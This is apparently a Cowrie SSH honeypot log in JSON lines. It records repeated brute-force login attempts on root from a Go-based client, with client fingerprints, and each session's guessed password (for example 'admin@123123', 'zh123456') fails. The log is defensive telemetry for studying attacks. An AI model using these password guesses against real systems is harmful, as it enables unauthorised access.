{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:26.888334Z","src_ip":"60.165.124.241","session":"ebfb2e62b432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123123","message":"login attempt [root/admin@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:27.615381Z","src_ip":"60.165.124.241","session":"ebfb2e62b432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:28.867429Z","src_ip":"60.165.124.241","session":"ebfb2e62b432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"693620fe9fb1","protocol":"ssh","message":"New connection: 60.165.124.241:58918 (10.17.0.5:22) [session: 693620fe9fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:29.108025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:29.113250Z","src_ip":"60.165.124.241","session":"693620fe9fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:29.359526Z","src_ip":"60.165.124.241","session":"693620fe9fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$word2024","message":"login attempt [root/P@$$word2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:30.102697Z","src_ip":"60.165.124.241","session":"693620fe9fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:31.351547Z","src_ip":"60.165.124.241","session":"693620fe9fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33586,"dst_ip":"10.17.0.5","dst_port":22,"session":"db14d12160e3","protocol":"ssh","message":"New connection: 60.165.124.241:33586 (10.17.0.5:22) [session: db14d12160e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:31.584322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:31.589075Z","src_ip":"60.165.124.241","session":"db14d12160e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:31.826648Z","src_ip":"60.165.124.241","session":"db14d12160e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mxqrm123","message":"login attempt [root/mxqrm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:32.544613Z","src_ip":"60.165.124.241","session":"db14d12160e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:34.352875Z","src_ip":"60.165.124.241","session":"db14d12160e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36872,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc7ce3baae7","protocol":"ssh","message":"New connection: 60.165.124.241:36872 (10.17.0.5:22) [session: 5cc7ce3baae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:35.588932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:35.596104Z","src_ip":"60.165.124.241","session":"5cc7ce3baae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:36.522861Z","src_ip":"60.165.124.241","session":"5cc7ce3baae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zh123456","message":"login attempt [root/zh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:37.911684Z","src_ip":"60.165.124.241","session":"5cc7ce3baae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:39.153423Z","src_ip":"60.165.124.241","session":"5cc7ce3baae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42440,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a820ccdf16","protocol":"ssh","message":"New connection: 60.165.124.241:42440 (10.17.0.5:22) [session: b9a820ccdf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:39.388619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:39.394385Z","src_ip":"60.165.124.241","session":"b9a820ccdf16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:39.633177Z","src_ip":"60.165.124.241","session":"b9a820ccdf16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master123456","message":"login attempt [root/Master123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:40.353972Z","src_ip":"60.165.124.241","session":"b9a820ccdf16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:41.595054Z","src_ip":"60.165.124.241","session":"b9a820ccdf16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5036cb4c25fb","protocol":"ssh","message":"New connection: 60.165.124.241:45178 (10.17.0.5:22) [session: 5036cb4c25fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:41.849502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:41.860139Z","src_ip":"60.165.124.241","session":"5036cb4c25fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:42.114291Z","src_ip":"60.165.124.241","session":"5036cb4c25fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WsxEdc@#1235","message":"login attempt [root/WsxEdc@#1235] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:45.036406Z","src_ip":"60.165.124.241","session":"5036cb4c25fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:46.901805Z","src_ip":"60.165.124.241","session":"5036cb4c25fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51484,"dst_ip":"10.17.0.5","dst_port":22,"session":"585f745a9afe","protocol":"ssh","message":"New connection: 60.165.124.241:51484 (10.17.0.5:22) [session: 585f745a9afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:47.138511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:47.142606Z","src_ip":"60.165.124.241","session":"585f745a9afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:47.386631Z","src_ip":"60.165.124.241","session":"585f745a9afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Abcd1234","message":"login attempt [root/@Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:48.127777Z","src_ip":"60.165.124.241","session":"585f745a9afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:49.972443Z","src_ip":"60.165.124.241","session":"585f745a9afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55068,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a9943829c1","protocol":"ssh","message":"New connection: 60.165.124.241:55068 (10.17.0.5:22) [session: 17a9943829c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:51.226079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:51.230584Z","src_ip":"60.165.124.241","session":"17a9943829c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:51.485055Z","src_ip":"60.165.124.241","session":"17a9943829c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34968,"dst_ip":"10.17.0.5","dst_port":22,"session":"12990ab721bf","protocol":"ssh","message":"New connection: 45.148.10.121:34968 (10.17.0.5:22) [session: 12990ab721bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.064614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.069685Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.155514Z","src_ip":"45.148.10.121","session":"12990ab721bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123@","message":"login attempt [root/Password123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:38:52.257425Z","src_ip":"60.165.124.241","session":"17a9943829c1","protocol":"ssh"}
